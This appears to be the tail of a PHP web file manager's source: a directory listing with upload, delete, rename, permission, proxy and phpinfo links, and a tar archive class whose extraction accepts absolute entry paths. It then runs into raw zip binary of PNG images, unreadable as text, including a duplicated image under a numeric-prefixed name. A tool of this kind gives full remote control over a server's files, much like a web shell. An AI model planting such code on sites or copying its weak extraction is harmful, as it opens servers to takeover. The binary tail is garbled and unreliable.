</td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK J'�Z]5�O� � favicon.pngnu W+A�� �PNG IHDR 3 4 '� � pHYs �� sRGB ��� gAMA ���a *IDATx�AHW�?�n㺖h��P��"M�qł���*b����zTo5�ћ�� �������mD�I���n�*�V�h��_2ۙ�7;�;k#��uf7�y�}�g�k��� �T�q�D���0�}��~r���>-xi���v_z�'�")�g�E���Z��0j� ���z�G��/(Xlq�<�=*��>Ő�����6�����-��fC�B�dC�1�RO�Q}��! ����-�P�/n�����GQV�yʲ�S��s�%��l^i}���gX/ESMF4CPb��=�h۷�sg��K��K��@Ac��-� �;��|�J�b��%\��kox<��顑�������Uoٜ�JNN���R��픒��+*A��Do�գ��p|b���K�/���D���(���������o֎ۧ�]k,���]1�jE��T��+�cs�<� ����P����bbbh�}@e֔�9�s�FAW�u�9���(� ��!dee� ��Q�;���W$��~gk�!Ml~�[�ׇ��1���~��+��і�<����V8�HH�P?,#���}��ǡ��Q��� ̑p�@����o�a� �\���6�z��j>�)Fm&�+��h�===�Z�m��3i��e~R�W�EFhoo��N)zHΐkO�9��� ���6��.���������4+����ܦ��)T�� �72�]�{�_$ ga�L��+�aI ��v��/o�`��p��(T�3�;0��9Ž#���,f�ȽA�r��]��:� < y���߾��P�<�╱ ��y6� ɛ��*g�}(,/�TY1���rN'�?�Sl\,�����r��)�PZZ����D>/677ibb���H����J1�����W��C�a���WރMZ�28����cppP�.�SF��dE(O?y�8����ua����\v��P7n�Z�Ԩ:.�]V777�8_\\$#Ũ�S�A������\�X,|]����KJJ^������qn�a�+**����T����=���!�ʰ"�/�Gaa!w�nȁ�����|N2���P@�3��)�� ������������=-�*�_���,LCC����C���Z$�� ���D����ށ`6���W ����/Z���?���(x���&�L&a���|���&��ϑ�#��"4�fu#�8<P666hll�������{Xw222�eD�]�,�a N\o��8�� ����k�Q���� &y��"Zh.�<���������D)��¯�(O=w�5�z ;��ӡW�����;��ƨ:/{�~d��4�)O���|$�@P���>�P�:_�9 ���5#с�l��j5��lX� {�YBKE�'�| m��.��(��3o�+�C��g�.�_�ݣ�؟as��ZL@�r9!�h�F��@��9��������" û� ��X:7��fx�WMA�� ��E��_�,��� �셱�ie"��. '�b�5��;s\9s\9Qb��ʅZ�n�� IEND�B`�PK J'�Z�鷞 � logo.pngnu W+A�� �PNG IHDR > ��� pHYs �� sRGB ��� gAMA ���a 3IDATx�\]lT�>6�)����Z�<4��� �J�G� [��PP����D�QS�c���E^*RF�R�C��D� �cC�Ć�_�l�2���;3���n�~���ܹ��s�3g6'*@!��"k�����b��g1B�!����C��Q��S��=��G�5:Nw�<����L~^>7�*�5�JgSC��^"�t��>}Z^�����W�ZEǎ���*�T�dJ��O���R��c ���hKu>m���=H߷o]�|��f]t��!�Td��|r�\�+ �������(��.]JW�\�LEZ��'Lyk� i����*�YFGG������g:�i����u�O �@� Z�BZ���":u����d�%�����ίRb�m�'�}�ҁw'�A�<�z>$?� �nܣ�� � ���H!p����2i�I�n��W� ��\͋ ������a)�L���i����5�3si}��!�/�fS��\y�y"��G�w�O\���_�N`NN��=�=� ��/jػw��(l���y�իWcrxgee%mڴ�V�^��0� ��m�E�f����<��ҼI�m�P��t�mQ��s��� -��ύ.^�(�Ӂ�m�� 5�T�b�?!����݅�e��!^=Ӻ��:~�#V��Cd �<��Τ� �>!c�֠��:� ,�sY ���N��A�\��t�9\h�}��l��r�,���I�!G����%��K�('��������ǘi?\�vm����ؿ?�9sFZN$�&D*R�1��� ��������:`���u����q~ī1A1�ʩ1�[_��#����#wn� ݏ�����d{��ڮY�F*G*�~�K ��u-*֓����x�<w�sG�u>�k�_ލ����֫ol<n\"w�/������o��Ϭ��־���;_bҝ��N�^h<�}�Kg�+�� �N����Lނr'�o_��u�����?�|�0���aN� E�<p�� �=�^���Ąpd��p0kQ��͖깱7��i�Cw��� �8��x�ݷ/�e����Z�&���g_ �`�>LS |oV�1H8"\�E�w�f������9����!ς���|*]PJ�M��v����[�>X�ו�}|�©;{�>|��8��X4�tɰ���oNX�|"���}�@�T��XPn�E10DP���F{^�C6�Mbz�*��j�rظī�#x�.@@�A����www7+��u1 ��|�E.��j=�/���h�|;���g�ވ>��H;���|����nq���If��P�Adm��/�b|::O�""&� ba!l���6�=~9�(7nd;p������<�.��Ѫ�*�lYYYt��h��w�{5� �|��)�>�p���6�s����ļw�֭l��8�HL��1q%,�0�-!��KS2��ucR�(r!��v}wUVUƴoll�����/\�0�s��A����Ի�8X�u��zΥ�:\�ٔ<b}{n�ʶ����u{^���N. �qec�1�#� �c���)Y��q��Əhov�A��唛��I>�x��@}�f�N�-��&A�Ν;G7oތ�oٲe1 ъ+���Y�ͺ�c����-��xu�'(�.�<a���ea�V��r�@�@| 78p~�Z�|yܒ�� З�C}�,�:�O)�|�:��5��em���@d�k8 ���Uh�L>,s��/U̡?kCP�����ϭN�z�Q��}�øu��Ά b���r��Q�����)�g�Oon���t͕143�őiIIz�W8�艍G��`}k�;�|MA��={�,ݺu��9"�H�.� �"ݛt���h�W�]�t�p��M��$���0�k� =k�K�A�m�Ն��ڹsg��zWe��:hb8��c��\��^�\�>7M+�Z&L�i%dq4��eL����B�Q���֟��^�=�\p�]��CY\�,��->wi=�cڈ���Y�Mڠ�rߦ�{p�=��?LZ �18zA�8)pE7e��(�B�z�*����S��%M�M��6����(���ս�.0�k��]#�ζ_����Dm�� �W�K�� �n���4�sJ�п- �u��S-�ʄ����ȣ�.�Էݑ5\!��� �3�q���^�䉻&Zڊ��O0[da-݆�pm=�|���\@�j�3h�>��~���Y�� ���#D8����Vh�OMq�� �Ik!�~Y=/�5�����;�&X��lW�$��Kp7� 0�wOt�Qk�W��R�C��J��S1�m��d"B@��N K1���J>֗�e\��2c��к�P� � �k��� �sS�p��xIUǵ`� BR! ~Je��|��DH����nP��Pks��q���z��N�F�!��#K\�ll�p�! H�@��6��_V�p�T����8)v/�䫂`�Բ�ne���D5N �D�;P�w��� �P�TC���Í�{�uJ i�d��H>�,ē6��vR�bG�S!�֟Ҏ�̣l�Q�91~P3�(��`C&�_�ZW>����M��� �;|J�@ p�� ��w� �/ϔ��W� �AR��� `�:/�4O�@0�ǤOEf*��!)�#!��$�]���C�F�w�:�sl��g.�?Ȥ~]C�sa9H6y"=�1��"���,FH~#$?������b��g1B������~̄� IEND�B`�PK J'�Z�鷞 � 316543875favicon.pngnu �[��� �PNG IHDR > ��� pHYs �� sRGB ��� gAMA ���a 3IDATx�\]lT�>6�)����Z�<4��� �J�G� [��PP����D�QS�c���E^*RF�R�C��D� �cC�Ć�_�l�2���;3���n�~���ܹ��s�3g6'*@!��"k�����b��g1B�!����C��Q��S��=��G�5:Nw�<����L~^>7�*�5�JgSC��^"�t��>}Z^�����W�ZEǎ���*�T�dJ��O���R��c ���hKu>m���=H߷o]�|��f]t��!�Td��|r�\�+ �������(��.]JW�\�LEZ��'Lyk� i����*�YFGG������g:�i����u�O �@� Z�BZ���":u����d�%�����ίRb�m�'�}�ҁw'�A�<�z>$?� �nܣ�� � ���H!p����2i�I�n��W� ��\͋ ������a)�L���i����5�3si}��!�/�fS��\y�y"��G�w�O\���_�N`NN��=�=� ��/jػw��(l���y�իWcrxgee%mڴ�V�^��0� ��m�E�f����<��ҼI�m�P��t�mQ��s��� -��ύ.^�(�Ӂ�m�� 5�T�b�?!����݅�e��!^=Ӻ��:~�#V��Cd �<��Τ� �>!c�֠��:� ,�sY ���N��A�\��t�9\h�}��l��r�,���I�!G����%��K�('��������ǘi?\�vm����ؿ?�9sFZN$�&D*R�1��� ��������:`���u����q~ī1A1�ʩ1�[_��#����#wn� ݏ�����d{��ڮY�F*G*�~�K ��u-*֓����x�<w�sG�u>�k�_ލ����֫ol<n\"w�/������o��Ϭ��־���;_bҝ��N�^h<�}�Kg�+�� �N����Lނr'�o_��u�����?�|�0���aN� E�<p�� �=�^���Ąpd��p0kQ��͖깱7��i�Cw��� �8��x�ݷ/�e����Z�&���g_ �`�>LS |oV�1H8"\�E�w�f������9����!ς���|*]PJ�M��v����[�>X�ו�}|�©;{�>|��8��X4�tɰ���oNX�|"���}�@�T��XPn�E10DP���F{^�C6�Mbz�*��j�rظī�#x�.@@�A����www7+��u1 ��|�E.��j=�/���h�|;���g�ވ>��H;���|����nq���If��P�Adm��/�b|::O�""&� ba!l���6�=~9�(7nd;p������<�.��Ѫ�*�lYYYt��h��w�{5� �|��)�>�p���6�s����ļw�֭l��8�HL��1q%,�0�-!��KS2��ucR�(r!��v}wUVUƴoll�����/\�0�s��A����Ի�8X�u��zΥ�:\�ٔ<b}{n�ʶ����u{^���N. �qec�1�#� �c���)Y��q��Əhov�A��唛��I>�x��@}�f�N�-��&A�Ν;G7oތ�oٲe1 ъ+���Y�ͺ�c����-��xu�'(�.�<a���ea�V��r�@�@| 78p~�Z�|yܒ�� З�C}�,�:�O)�|�:��5��em���@d�k8 ���Uh�L>,s��/U̡?kCP�����ϭN�z�Q��}�øu��Ά b���r��Q�����)�g�Oon���t͕143�őiIIz�W8�艍G��`}k�;�|MA��={�,ݺu��9"�H�.� �"ݛt���h�W�]�t�p��M��$���0�k� =k�K�A�m�Ն��ڹsg��zWe��:hb8��c��\��^�\�>7M+�Z&L�i%dq4��eL����B�Q���֟��^�=�\p�]��CY\�,��->wi=�cڈ���Y�Mڠ�rߦ�{p�=��?LZ �18zA�8)pE7e��(�B�z�*����S��%M�M��6����(���ս�.0�k��]#�ζ_����Dm�� �W�K�� �n���4�sJ�п- �u��S-�ʄ����ȣ�.�Էݑ5\!��� �3�q���^�䉻&Zڊ��O0[da-݆�pm=�|���\@�j�3h�>��~���Y�� ���#D8����Vh�OMq�� �Ik!�~Y=/�5�����;�&X��lW�$��Kp7� 0�wOt�Qk�W��R�C��J��S1�m��d"B@��N K1���J>֗�e\��2c��к�P� � �k��� �sS�p��xIUǵ`� BR! ~Je��|��DH����nP��Pks��q���z��N�F�!��#K\�ll�p�! H�@��6��_V�p�T����8)v/�䫂`�Բ�ne���D5N �D�;P�w��� �P�TC���Í�{�uJ i�d��H>�,ē6��vR�bG�S!�֟Ҏ�̣l�Q�91~P3�(��`C&�_�ZW>����M��� �;|J�@ p�� ��w� �/ϔ��W� �AR��� 